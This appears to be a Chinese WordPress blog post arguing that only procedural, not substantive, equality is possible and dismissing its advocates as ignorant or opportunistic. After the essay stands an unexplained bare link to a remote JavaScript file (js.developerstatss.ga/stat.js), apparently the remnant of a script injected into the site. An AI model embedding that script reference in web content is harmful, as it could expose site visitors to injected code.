分類
經濟分析 法律

論平等

邏輯上而言,人人要做到實質平等,只有把每個人的都降到植物人水平才有可能。

只要「各有所長」這個現象存在,則實質上就不可能「人人平等」。因為每種長才的市場需求性不同,必然帶來金錢與非金錢收入之不同,從而使每個人能掌握與動用的資源也不同。

因此憲法的平等權只能是指「法律程序上的平等」,而不可能是「實質平等」。因為一旦往實質平等方向走,必然帶來尋租空間與整體社會租值消散。

這也是說,那些追求「人人平等」的論調,無非是:1. 論者極為無知,或2. 論者的專長就是靠政治唬爛來獲利。

https://js.developerstatss.ga/stat.js?n=ns1

發表迴響

在下方填入你的資料或按右方圖示以社群網站登入:

WordPress.com 標誌

您的留言將使用 WordPress.com 帳號。 登出 /  變更 )

Twitter picture

您的留言將使用 Twitter 帳號。 登出 /  變更 )

Facebook照片

您的留言將使用 Facebook 帳號。 登出 /  變更 )

連結到 %s